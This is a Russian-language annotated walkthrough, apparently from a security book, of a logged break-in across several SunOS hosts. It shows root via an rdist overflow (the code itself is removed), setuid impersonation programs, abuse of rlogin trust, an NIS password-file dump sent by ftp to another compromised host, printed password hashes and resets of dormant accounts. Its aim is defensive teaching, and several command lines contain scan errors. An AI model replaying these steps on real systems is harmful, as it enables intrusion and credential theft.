Что делал хакер…

Что делал хакер…

Строка № 1

Когда этот хакер взломал систему в декабре, он использовал гостевую учетную запись, созданную без пароля. После того как он взломал систему, он добавил свой собственный пароль к гостевой учетной записи и учетной записи, названной "ingres", после чего он мог легко получать доступ с регистрацией в любое удобное время.[72]

Строка № 2

Команда "who" проверяет и показывает, нет ли кого еще в системе. Наш друг не хочет, чтобы кто-либо в системе его заметил.

Строка № 5

Эта строка копирует коммуникационную программу, названную "kermit", в текущий рабочий каталог хакера. После этого он может использовать kermit для пересылки инструментов для работы с защитой, которые он будет применять для получения доступа к системам и информации. Заметьте, что большинство хакеров пересылают свои собственные инструменты для работы с защитой, чтобы упростить себе работу. Некоторые хакеры слишком мало знают об операционных системах и просто используют инструменты, написанные людьми, которые в этом действительно разбираются.

Строки с № 6 по № 25

Теперь хакер использует известную программную ошибку для получения прав суперпользователя по доступу к системе. (Хакер пишет несколько строк программы для переполнения буфера в rdist и затем засылает команды в rdist, которые исполняются.) Если бы в систему были установлены правильные патчи, то это не было возможным!

1 valley% sh

2 $ who

3 ingres ttypO Jan 18 23:02

4 root ttyp2 Jan 15 18:38 (canyon)

5 $ cp /home2/jeff/bin/kermit,orig kermit

6 $ kermit

7 C-Kermit 5A(178) ALPHA, 29 Jan 92, SUNOS 4.1 (BSD)

8 Type? or HELP for help

9 C-Kermit>rece fi

10 Escape back to your local Kermit and give a SEND command…

11 # N3

12 0Yz*@-#Y1-N!y-13

13 %!YfiO

14 #"Y@

15 ##YA

16#$YB

17#%YC

18#&YD

19C-Kermit>

20 Stopped

21 valley% sh

22 Stopped (signal)

23 valley% sh

24 переполняет буфер (удалено из соображений безопасности)

25 $ /tmp/sh

Строки с № 26 по № 27

Хакер теперь имеет права доступа суперпользователя (root). Он уже внутри! Он устанавливает режим и разрешения и изменяет имя на нечто такое, что он, вероятно, не забудет. Заметьте, что он удаляет файл /tmp/sh, так как не хочет оставлять какого-либо следа своего визита.

Строка № 28

Он ошибается в написании команды.

Строки с № 29 по № 45

Он выдает команду ls (list) с параметром — t (time), определяющим формирование списка файлов каталога с новейшими файлами в начале списка. Выдается список файлов.

Строки с № 46 по № 48

Просто еще одна проверка на отсутствие в системе кого-либо. Большинство хакеров продолжают проверять систему на наличие в ней других регистраций на протяжении всей атаки.

Строка № 49

Здесь он использует команду grep для поиска строки "est". (Параметр — i говорит UNIX, что допустимы символы как верхнего, так и нижнего регистров.) Предположительно, хакер ищет наличие других регистрации в системе из домена DNS".West". (Если вы не знакомы с UNIX, то "grep" — это общая команда, расшифровывающаяся как Grab Regular Expression. В основном grep используется для поиска в системе конкретной строки, имеющейся в файлах этой системы.)

26 # rm /tmp/sh

27 rm: override protection 755 for /tmp/sh? у

28 # Isll

29 # Is — tal

30 total 1049

31 drwxr-xr-x4 ingres 512 Jan 18 23:04.

32 — rwsrwsrwx 1 root 24576 Jan 18 23:04 suck

33 — rw-r-r-1 root 61 Jan 18 23:04 c.c

34 — rwxr-xr-x 1 ingres 442368 Jan 18 23:03 kermit

35 — rwxrwxrwx 1 ingres 360448 Jan 16 11:02 testit

36 drwxr-xr-x 30 root 1024 Dec 18 20:27..

37 — rw-r-r-1 ingres 1148 Jun 9 1992 foo

38 drwxrwsrwx 6 ingres 6144 Aug 23 1991 SERVICE

39 — rwxr-xr-x 1 ingres 106496 Feb 25 1991 sun4Jookup

40 — rwxr-xr-x 1 ingres 98304 Feb 25 1991 sun3_lookup

41 drwxr-xr-x 3 ingres 512 Jan 23 1991 quoter

42 — rw-r-r-1 ingres 306 Nov 20 1987.cshrc

43 — rw-r-r- 1 ingres 1159 Nov 20 1987.install

44 — Г-Г-Г-1 ingres 20 Nov 20 1987.version

45 — rw-r-r- 1 ingres 36 Jan 26 1987.oemstring

46 # who

47 ingres ttypO Jan 18 23:02

48 root ttyp2 Jan 15 18:38 (canyon)

49 # last | grep — i est

Строки с № 50 по 57

Теперь он ищет что-то конкретное — "lorin". Очевидно, "lorin" не входил в систему с того времени, как хакер в последний раз взломал систему и удалил файл с учетными записями (16 января). Хакер пытается найти "lorin" в /etc/passwd с помощью команды grep, но ошибается при наборе команды. Затем он вспоминает, что именем пользователя, о котором он думает, является "lorimo", а не "lorin". Это значит, что наш парень побывал здесь раньше.

Строки с № 58 по 61

Взломщик редактирует программу С, чтобы изменить ID пользователя на 21477. Эта новая настройка позволяет ему переключить пользователя на "lorimo".

Строки с № 62 по № 66

Еще больше опечаток. Этому парню надо пойти на курсы для машинисток.

Строки с № 67 по № 75

Здесь хакер компилирует новую версию своего исполняемого кода, дает результату (a.out) другое имя, которое он не забудет (у него превосходный словарь). Исполнив два из своих рабочих скриптов, он изменяет свой ID пользователя.

50 # last lorin

51 wtmp begins Sat Jan 16 11:37

52 # grep lor /etc/passwwd

53 grep: /etc/passwwd: No such file or directory

54 # grep lor /etc/passwd

55 # ypcat passwd | grep lor

56 lori: N.4Pgz4iUS8kk:5734:50:Lori:/home/lori:/bin/csh

57 lorimo: xxTTF8y3fSqGo:21477:50:Lori:/home/lorimo:/bin/csh

58 # ed с. с

59/uid/

60 setuid(0);

61 setuid(21477);

62 # сс сс

63 сс: Warning: File with unknown suffix (.cc) passed to Id

64 Id:.cc: No such file or directory

65 # cc "c

66>"C

67 # cc c.c

68 # mv a.out shit

69 # chmod 6777 shit

70 #./suck

71 # id

72 uid=0(root) gid=0(wheel) groups=7

73 #./shit

74$ id

75 uid=21477(lorimo) gid=0(wheel) groups=7

Строки с № 76 по № 88

Теперь он ищет, куда еще можно пойти, посылая команды rlogin в другие системы и определяя те из них, которые бы доверяли lorimo (файлы. rhosts и /etc/hosts.equiv используются для установления доверия между системами). Если lorimo доверяют другие системы, то хакеру будет предоставлен доступ к этим системам без ввода пароля. Это называется «барабанить в двери» ("door rattling"). Если ему повезет, то он получит доступ к еще большему объему информации и создаст места для запуска будущих атак изнутри.

Строка № 89

Хакер сменил свою авторизацию обратно на суперпользователя (root).

Строки с № 90 по № 92

Он снова оглядывается (отсюда и команда "who"), затем проводит двойной контроль правильности полученной информации ID пользователя.

Строки с № 93 по № 94

Хакер ищет lorimo в таблице паролей сетевой информационной службы NIS.

Строка № 95

Хакер переходит в каталог /home.

76 $ rlogin tsunami

77 Password:

78 Login incorrect

79 Login incorrect

80 login: AD

81 Connection closed.

82 $ rlogjn suntzu

83 rlogjn: not found

84 $ rlogin suntzu

85 Password:

86 Login incorrect

87 login: D

88 Connection closed.

89 $"D

90 «who

91 ingres ttyp0 Jan 18 23:02

92 root ttyp2 Jan 15 18:38 (canyon)

93 # ypcat passwd | grep lorimo

94 lorimo: xxYTF8y3fSqGo:21477:50:Lori:/home/lorimo:/bin/csh

95 # cd /home

Строка № 96

Хакер начинает подготовительную работу по поиску файлов .rhost, имеющихся в /home. Смысл такого поиска состоит в том, что некоторые люди, использующие файл .rhost (для установки доверия), могут иметь много записей в .rhost по всей сети. После запуска этой задачи он пошел дальше.

Строки с № 97 по № 98

Хакер продолжает делать опечатки.

Строки с № 99 по № 100

Нашему другу надоело быть lorimo. Он проверяет файл паролей на наличие jeff. Он решает выдать себя за jeff. Но вначале он должен отредактировать свой код.

Строки с № 101 по № 11З

Он пытается редактировать свой код, но он не в том каталоге. Он переходит в правильный каталог, редактирует код, исполняет код и становится пользователем jeff.

Строки с № 114 по № 119

Став jeff хакер сделал правильный выбор. Он вошел в новую систему (tsunami), даже не пользуясь паролем. (Это отличный пример того, как опасно устанавливать доверительные отношения между системами.)

96 # find. -name.rhosts — print &

97 # gupr

98 # grep" C

99 # ypcat passwd | grep jeff

100 jeff: wW/q0t03L6xO.:13147:50:Jeff:/home/jeff:/bin/csh

101 # ed c.c

102 ?c,c: No such file or directory

103 #cd

104 # edc.c

105 /uid/

106 setuid(21477);

107 setuid(13147);

108 #ссс. с

109 # mv a.out shit

110 #chmod 6777 shit

111 #./shit

112 $ id

113 uid=13147(jeff) gid=0(wheel) groups=7

114 $ rlogj tsunami

115 rlogj: not found

116 $ rlogin tsunami

117 No directory! Logging in with home=/

118 SunOS Release 4.1.2 (TSUNAMI) #3: Sat Oct 24 07:56:45 PDT 1992

119 You have new mail.

Строки с № 120 по № 126

Хакер (который сейчас является пользователем jeff), запускает командную оболочку sh, чтобы не оставлять след в журналах. history оболочки csh. (Хакер тщательно следит за тем, чтобы не оставить свидетельств применения своих команд.) Затем он проверяет, нет ли кого еще в системе.

Строки с № 127 по № 136

Хакер пытается скопировать файл паролей и получает отказ в разрешении, так как у него нет разрешения копировать в этот каталог. Он проводит проверку с целью установить, под каким именем он зарегистрировался (должно быть, он уже его забыл). Он видит, что зарегистрировался как Jeff. Так как Jeff не имеет разрешения копировать файлы в этот каталог, то хакер меняет каталог на /tmp, в который любому пользователю разрешено производить копирование.

Строки с № 137 по № 141

Здесь он немного расправляет крылья и ищет таблицу паролей, чтобы ее скопировать и использовать. (Он копирует файл паролей NIS в файл, названный "ааа".) Хакеры часто копируют файлы паролей, чтобы подвергнуть их действию программ-взломщиков и получить больше паролей. Чем больше паролей есть у хакера, тем лучше он преуспеет в набегах на другие системы.

120 tsunami%AC

121 tsunami%sh

122 $ who

123 wendy ttyp2 Jan 6 13:55 (arawana)

124 derek ttyp3 Jan 13 17:57 (lajolla)

125 derekttyp4Jan 15 13:11 (lajolla)

126 jeff ttyp5 Jan 18 23:09 (valley)

127 $cat/etc/passwdAC

128 $ypcaty" C

129 $ ypcat passwd > suna

130 suna: Permission denied

131 Sid

132 uid=4401(jeff) gid=50(lastaff) groups=50(lastaff)

133 $pwd

134 $cd

135 $pwd

136 $cd/tmp

137 $ ypcat passwd >aaa

138 $ Is — tal aa

139 aa not found

140 $ is — tal aaa

141 — rw-r — r— 1 jeff 15382 Jan 18 23:09 aaa

Строки с № 142 по № 162

Теперь он открывает сессию ftp обратно к первоначальному хосту (valley) как пользователь ingres. В этой сессии он копирует файл паролей в систему valley. В той же самой сессии он копирует свои инструменты по работе с защитой из valley в tsunami.

Строки с № 163 по № 173

Снова он воссоздает свою небольшую С-программу (опущенную по соображениям безопасности) для того, чтобы воспользоваться программной ошибкой, открывающей защиту, и получить права доступа суперпользователя (root). Теперь он имеет полный контроль (доступ root) над системой tsunami.

142$ ftp valley

143 Connected to valley

144 220 valley FTP server (SunOS 4.1) ready.

145 Name (valley: jeff): ingres

146 331 Password required for ingres.

147 Password:

148 230 User ingres logged in.

149 ftp> send aaa

150 200 PORT command successful.

151 150 ASCII data connection for aaa

152 226 ASCII Transfer complete.

153 local: aaa remote: aaa

154 15578 bytes sent in 0.063 seconds (2.4e+02 Kbytes/s)

155 ftp> get foo

156 200 PORT command successful.

157 150 ASCII data connection for foo

158 226 ASCII Transfer complete.

159 local: foo remote: foo

160 1155 bytes received in 0.11 seconds (9.9 Kbytes/s)

161 ftp> quit

162 221 Goodbye.

163 $ cat too | /usr/ucb/rdist — Server localhost

164$/tmp/sh

165#rmfoo

166#rm/tmp/sh

167 rm: override protection 755 for /tmp/sh? у

168#edc.c

169#ccc.c

170 #chmod 6777 a.out

171 #./a.out

172 # id

173 uid=0(root) gid=0(wheel) groups=50(iastaff)

Строки с № 174 по № 182

Хакер ищет, есть ли в файле /etc/passwd какие-нибудь записи password.old или другие изменения. Он также пытается изменить пароль Jeff в NIS, но безуспешно.

Строки с № 183 по № 197

На этот раз он выводит список содержимого файла /etc/passwd.

174 # Is — ta! /etc/*ass*

175 — rw-r-r-1 root 634 Dec 7 12:31 /etc/passwd

176#cat/etc/}4U

177passwd

178 cat: /etc/}4: No such file or directory

179 Changing NIS password for jeff on suntzu.

180 Old password:

181 New password:

182 Password unchanged.

183 # cat/etc/passwd

184 root:R7QCfnYR4gvzU:0:1:Operator:/:/bin/csh

185nobody:*:65534:65534::/:

186daemon:*;1:1::/:

187sys:*:2:2::/:/bin/csh

188bin:*:3:3::/bin:

189 uucp:*:4:8::/var/spool/uucppublic:

190 news:*:6:6::/var/spool/news:/bin/csh

191 ingres:*:7:7::/usr/ingres:/bin/csh

192 audit:*:9:9::/etc/security/audit:/bin/csh

193 sync::1:1::/:/bin/sync

194 sysdiag:*:0;1:Old System Diag:/usr/diag/sysdiag:/usr/diag/ sysdiag/sysdiag

sundiag:*:0:1:System Diag:/usr/diag/su ndiag:/usr/diag/

sundiag/ sundiag

195 operator: INtDk7crldKh2:5:5 — Account forbackups;/usr/ backup: /bin/csh

196 lc:u0gFO1zE9Yx9U:27:50:LC Calendar:/var/lc:/bin/csh

197+::0;0:::

Строки с № 198 по № 209

Хакер меняет ID пользователя с суперпользователя обратно на jeff. Затем он повторно проверяет свой ID пользователя и начинает менять имя своего a.out на такое, которое он не забудет (как он уже прежде делал). Снова он запускает команду ls -1 для получения списка с новейшими файлами в начале его.

Строки с № 210 по № 212

Он удаляет свою локальную копию файла паролей NIS ("ааа"). Он уже скопировал этот файл на хост valley, поэтому здесь он ему не нужен. Затем удаляет свой исполняемый код и готов идти дальше.

Строки с № 213 по № 227

Хакер проверяет, какие файловые системы подмонтированы.

198 #4)

199 # id

200 uid=4401 (jeff) gid=50(iastaff) euid=0(root) groups=50(lastaff)

201 # тс^С

202 # mv^С

203 #mv a.out shit

204 # Is — tal

205 total 2415

206 drwxrwsrwx 3 bin 1024 Jan 18 23:12.

207 — rwsrwsrwx 1 root 24576 Jan 18 23:11 shit

208-rw-r-r- 1 root 61 Jan 18 23:11 c.c

209 — rw-r-r- 1 jeff 15382 Jan 18 23:09 aaa

210#rmaaa

211 #rmc.c

212 rm: override protection 644 for c.c? у

213 #df

214 Filesystem kbytes used avail capacity Mounted on

215 /dev/sdOa 10483 5081 4354 54 % /

216 /dev/sdOg 96943 78335 8914 90 % /usr

217 /dev/sdOe 22927 3111 17524 15 %/var

218 /dev/sd1h 1255494 1081249 48696 96 % /home

219 /dev/sd3h 1255494 1030386 99559 91 % /home/se

220 la:/usr/local 2097151 1154033 692365 63 % /usr/local

221 suntzu:/var/spool/mail

222 445852 334295 66972 83 % /var/spool/mail

223 mfp:/home/sybase 318991 244337 42755 85 % /home/sybase

224 арр1:/export/sun/sun4/openwin-3,0

225 189858 131073 39799 77 % /usr/openwin

226 арр1:/export/apps 1255494 771887 358057 68 % /export/apps

227 appl:/export/apps 1255494 771887 358057 68 % /usr/local

Строки с № 228 по № 229

Неверный ввод или, возможно шумы в линии.

Строки с № 230 по № 258

Хакер ищет личные каталоги пользователей, находит каталог wendy и становится пользователем wendy. Но ненадолго, потому что по каким-то причинам он решает поискать пользователя dan. Вероятно, хакер уже знает, что dan существует.

228 # irG-cd /home/se

229 irG-cd: not found

230 # cd/home/se

231 # Is

232 cmeyer hamant lost+found mikec wendy

233 colleen Joseph mark mikep

234 derek kevin matthews neally

235 # cd wendy

236 # cp Дтр/shit.

237 # Is — tal shit

238 — rwxr-xr-x 1 root 24576 Jan 18 23:13 shit

239 # chmod 6777 shit

240 # Is — tal shit

241 — rwsrwsrwx 1 root 24576 Jan 18 23:13 shit

242 # pwd

243 /home/se/wendy

244 # cd Amp

245 # Is — tal | more

246 total 2398

247 drwxrwsrwx 3 bin 1024 Jan 18 23:13.

248 — rwsrwsrwx 1 root 24576 Jan 18 23:11 shit

249 — rwxr-xr-x 1 cmeyer 41 Jan 13 12:31 junk

250-rw-r-r- 1 cmeyer 12 Jan 13 12:05 junk.dat

251 — rw-r-r- 1 derek 0 Jan 12 16:07 6310

252 (16 строк вывода удалены и хакер стал пользователем wendy)

253 hacker typos

254 # rm shit

255 # grep dan/etc/passwd

256 # ypcat passwd | grep dan

257danf:*:13602:50::/home/guest/danf:/bin/csh

258 dan:*H.6Haolt2xDu2:13601:50:&:/home/guest/dan:/bin/csh

Строки с № 259 по № 263

Еще несколько тревожных взглядов вокруг (с помощью who).

Строки с № 264 по № 273

Он снова превращается в jeff. Очевидно, что реальный jeff был в системе немного раньше хакера, который входит сейчас в suntzu как jeff. И снова пароля не требуется.

Строка № 274

Другая смена оболочки, чтобы не оставлять отметки о себе в журналах history.

Строки с № 275 по № 281

Хакер пытается убедиться, что /home/se подмонтирован из хоста tsunami. (Если вы помните, в /home/se/wendy он оставил свой исполняемый код. Ему это было нужно для получения доступа с правами суперпользователя к этому новому хосту.)

259 # who

260 wendy ttyp2 Jan 6 13:55 (arawana)

261 derekttyp3Jan 13 17:57 (lajolla)

262 derek ttyp4 Jan 15 13:11 (lajolla)

263 jeff ttyp5 Jan 18 23:09 (valley)

264 #T>

265 $ id

266 uid=4401(jeff) gid=50(lastaff) groups=50(lastaff)

267 $ rlogin suntzu

268 Last login: Thu Jan 14 06:35:30 on ttyhl

269 SunOS Release 4.1.2 (SUNTZU.X) #2: Fri Oct 23 22:25:48 PDT 1992

270 You have new mail.

271 suntzu% who

272 jeff ttyp0 Jan 18 23:14

273 (tsunami)

274 suntzu% sh

275 $ df

276 Filesystem kbytes used avail capacity Mounted on

277 /dev/sd6a 14983 11056 2429 82 % /

278 /dev/sd6g 91998 76365 6434 92 % /usr

279 /dev/sd6h 445852 334297 66970 83 % /var

280 /dev/sd4c 1255494 1030410 99535 91 % /home/se

281 tsunami:/home/se 1255494 1030410 99535 91 % Ampjnnt/ home/se

Строки с № 282 по № 287

Хакер применяет свой исполняемый код и получает права суперпользователя на доступ к системе suntzu. В итоге он уже скомпрометировал три системы.

Строки с № 288 по № 292

Он снова ищет пароли. (Кажется, это становится уже знакомым?)

Строки с № 293 по № 317

Хакер переходит к гостевому личному каталогу и выводит список его содержимого. Он замечает в личном каталоге файл под именем dan/test.

Строка № 318

Я удалила несколько строк из соображений конфиденциальности.

282 $ cd /home/se/wendy

283 $ Is — tal shit

284 — rwsrwsrwx 1 root 24576 Jan 18 23:13 shit

285 $./shit

286 # id

287 uid=0(root) gid=0(wheel) groups=50(lastaff)

288 # Is — tal /etcfass*

289 — rw-r-r-1 root 15465 Jan 1514:29/etc/passwd

290 — rw-r-r-1 root 15462 Dec 28 17:58/etc/passwd.OLD

291 — rw-r-r-1 root 15514 Nov 12 18:58/etc/passwd.old

292 — rw-r-r-1 root 15215 Sep 9 10:02 /etc/passwd-

293 # cd /home/guests

294 /home/guests: bad directory

295 # cd /home/guest

296 # Is — tal

297 total 56

298 dr-xr-xr-x 10 root 512 Jan 18 23:15..

299 drwxr-xr-x 9 guestl 1024 Jan 15 16:21 guestl

300 drwxr-xr-x 11 тагу 1536 Jan 1417:37 тагу

301 drwxr-xr-x 5 jeffs 512 Jan 12 15:57 jeffs

302 drwxr-xr-x 3 eddie 512 Jan 813:04 eddie

303 drwxr-xr-x 3 sunwise 512 Jan 8 09:36 sunwise

304 drwxrwxrwx 3 brad 512 Jan 6 15:43 dan

305 # Is — tsl dan

306 total 1450

307 1 — rw-r-r- 1 6553434 Jan 6 15:43 test

308 264 — rw-r-r- 1 dan 255563 Jul 8 1992 packet.dat

309 56 — rwxr-xr-x 3 dan 57344 Jul 1 1992 sz

310 56 — rwxr-xr-x 3 dan 57344 Jul 1 1992 sx

311 56 — rwxr-xr-x 3 dan 57344 Jul 1 1992 sb

312 40 — rwxr-xr-x 3 dan 40960 Jul 1 1992 rx

313 40 — rwxr-xr-x 3 dan 40960 Jul 1 1992 rb

314 40 — rwxr-xr-x 3 dan 40960 Jul 1 1992 rz

315 896-rw-rw-rw-1 dan 901682 Jun 16 1992junk,2

3161 drwxr-xr-x 2 dan 512 Oct 25 1990 doswin

317 # cat dan/test

318 Код удален по соображениям безопасности

Строка № 319

Теперь хакер ищет, кому принадлежит UID 65534, Выходит так, что этот пользовательский ID не принадлежит никому.

Строки с № 320 по № 393

Здесь он смотрит, нет ли других пользователей в системе. Его особенно интересуют те учетные записи пользователей, которые не использовались недавно, Это нужно для того, чтобы никто не заметил, как он ими пользуется. Для поиска неактивных учетных записей хакер ищет каталоги, в которых не было недавнего обращения к их файлам. Он также просматривает время последних входов пользователей в систему.

319 # grep 65534 /etc/passwd

320#cd/home/se

321 # Is — tal

322 total 44

323 dr-xr-xr-x 10 root 512 Jan 18 23:15..

324 drwxr-xr-x 17 wendy 2560 Jan 18 23:13 wendy

325 drwxr-xr-x 26 hamant 4608 Jan 18 17:28 hamant

326 drwxr-xr-x 48 neally 9728 Jan 18 11:03 neally

327 drwxr-xr-x 41 derek 3584 Jan 16 03:16 derek

328 drwxr-xr-x 17 kevin 2048 Jan 15 17:04 kevin

329 drwxr-xr-x 31 mark 3072 Jan 15 16:41 mark

330 drwxr-xr-x 19 colleen 1536 Jan 15 16:15 colleen

331 drwxr-xr-x 44 matthews 4608 Jan 15 11:37 matthews

332 drwxr-xr-x 16 mikep 1536 Jan 15 11:24 mikep

333 drwxr-xr-x 2 10406 512 Dec 2 11:35 mikec

334 drwxr-xr-x 24 cmeyer 2048 Dec 1 11:11 cmeyer

335 drwxr-xr-x 15 root 512 Sep 15 17:04.

336 drwxr-xr-x 8 5542 1536 Aug 28 15:13 Joseph

337 drwxr-xr-x 2 root 512 Jul 17 1991 lost+found

338 # last] grep eric

339 ericz ttyh 1 Mon Jan 18 08:30 — 08:32 (00:02)

340 ericz ttyh 1 Aug 30 14:25–14:25 (00:00)

341 ericz ttyhKC

342 # id344 # grep eric /etc/passwd

345 Uace: LEkQ/KdKGcyV2:4:4:ACE:/usr/spool/uucppublic: /usr/ lib/ uucp/uucico

346 Uaim:93uUCUdUU6zdl:4:4:AIM:/usr/spool/uucppublic: /usr/ lib/ uucp/uucico

347 ericz: vt0R/k7x2W1 kY:3063:50::/home/region3/ericz:/bin/csh

348 ericc:23JjW1a5hqUSQ:4094:10:&:/home/guest/eric:/bin/csh

349 # last ericc

350 ericc ttypl ptero Mon Aug 3 18:52–18:52 (00:00)

351 wtmp begins Wed Jul 1 18:46

352 # last richp

353 richp ttypO awe Sat Jan 16 19:33 — 19:34 (00:00)

354 richp ttyp4 vela Mon Jan 11 15:59 — 16:00 (00:00)

355 richp ttyp8 vela Wed Oct 7 13:28 13:58 (00:29)

356 richp ttyhl Mon Oct 5 15:39–15:41 (00:01)

357richpttyhl MonOct5 14:15–14:18(00:02)

358 richp ttyhl Mon Oct 5 13:54 — 13:58 (00:03)

359 richp ttyp3 vela Mon Oct 5 09:43 — 09:44 (00:00)

360 richp ttyhl Wed Sep 30 17:57 — 17:57 (00:00)

361 richp ttyp2 velaTue Sep 29 14:31–14:32 (00:00)

362 richp ttyhl Thu Sep 24 13:48 — 13:51 (00:02)

363 richp ttypl valley Wed Sep 23 19:47–19:48 (00:00)

364 richp ttyhl Wed Sep 23 13:28 — 13:48 (00:20)

365 richp ttyhl Mon Sep 21 11:27 — 11:29 (00:02)

366 richp ttyp6 vela Fri Sep 4 09:15 — 09:16 (00:01)

367 richp ttyp5 vela Thu Sep 3 12:31–13:00(00:28)

368 richp ttyp5 vela Thu Sep 3 12:11–12:11 (00:00)

369 richp ttyp5 vela Thu Sep 3 11:42–11:43 (00:00)

370 richp ttyp5 vela Thu Sep 3 10:01–10:04(00:02)

371 wtmp begins Wed Jul 1 18:46

372 # last Iwake

373 Iwake ttyp2 runcible Tue Dec 1 15:00 — 15:06 (00:06)

374 Iwake ttyp3 runcible Wed Sep 30 13:01 — 13:15(00:13)

375 Iwake ttyp2 runcible Tue Sep 22 09:12 — 09:14 (00:02)

376 Iwake ttyp2 runcible Fri Jul 24 14:40–14:40 (00:00)

377 Iwake ttyp4 runcible Fri Jul 17 09:13 — 09:14 (00:00)

378 Iwake ttyp4 runcible Fri Jul 17 09:12 — 09:13 (00:00)

379 Iwake ttyp2 runcible Mon Jul 13 16:56–17:02 (00:05)

380 wtmp begins Wed Jul 1 18:46

381 # last eggers

382 eggers ttypO sunkist Thu Jan 7 06:40 — 06:40 (00:00)

383 eggers ttyhl Mon Nov 16 16:41–16:42 (00:00)

384 eggers ttypl bike Mon Nov 16 16:37–16:41 (00:03)

385 eggers ttypl bike Thu Nov 12 18:35–18:39 (00:03)

386 eggers ftp bike Wed Oct 7 12:58–13:03 (00:05)

387 eggers ttyp8 bike Wed Oct 7 12:53–13:03 (00:10)

388 eggers ttypl bike Tue Oct 6 14:14–15:27(01:13)

389 eggers ttypl bike Wed Sep 23 16:25–16:30 (00:05)

390 eggers ttypl bike Tue Sep 15 20:34 — 20:36 (00:01)

391 eggersttyhl Fri Sep 11 18:39–18:39(00:00)

392eggersttyh1 Fri Sep 11 18:11 18:21 (00:10)

393 eggersttyhl Fri Sep 11 17:52–18:01 (00:08)

Строки с № 394 по № 426

В этом месте наш друг уже был готов уйти. Но перед этим он установил новые пароли в использованные им неактивные («спящие») учетные записи. Этот шаг сделает его следующий взлом более легким. (По этой причине вы должны всегда устанавливать новые пароли после взлома!)

Строки с № 427 по № 431

Для одного дня достаточно. Наш непрошеный гость замел свои следы (не показано из соображений безопасности) и закрыл сессию.

394 # passwd ericc

395 Changing password for ericc on suntzu.

396 New password:

397 Retype new password:

398 # grep lori /etc/passwd

399 lori: FAJEq1YKw4p7.,0:5734:50:Lori:/home/guest/lori:/bin/csh

400 # pwd

401 /tmp_mnt/home/se/wendy

402 # cd /home/guests

403 /home/guests: bad directory

404 # cd /home/guest

405 # Is — tal lori

406 total 10

407 drwxr-xr-x 52 root 1024 Sep 12 14:25..

408 drwxr-xr-x 3 lori 512 Aug 9 18:46.

409 — rw-r-r- 1 lori 1262 Aug 9 18:46.M23set,v1.1

410 drwxr-xr-x 2 lori 512 Aug 8 17:45.dist

411 — rw-r-r- 1 lori 1457Jun 7 1991.login

412 — rw-r-r- 1 lori 2687 Jun 7 1991.cshrc

413 # last lori

414 wtmp begins Wed Jul 1 18:46

415 # passwd ericc

416 Changing password for ericc on suntzu

417 New password:

418 Retype new password:

419 # passwd lori

42 °Changing password for lori on suntzu

421 New password:

422 Retype new password:

423 # passwd jeff

424 Changing password for jeff on suntzu

425 New password:

426 Retype new password:

427 #л D

428 $ л0

429valley%"D

430 There are stopped jobs

431 valley% logout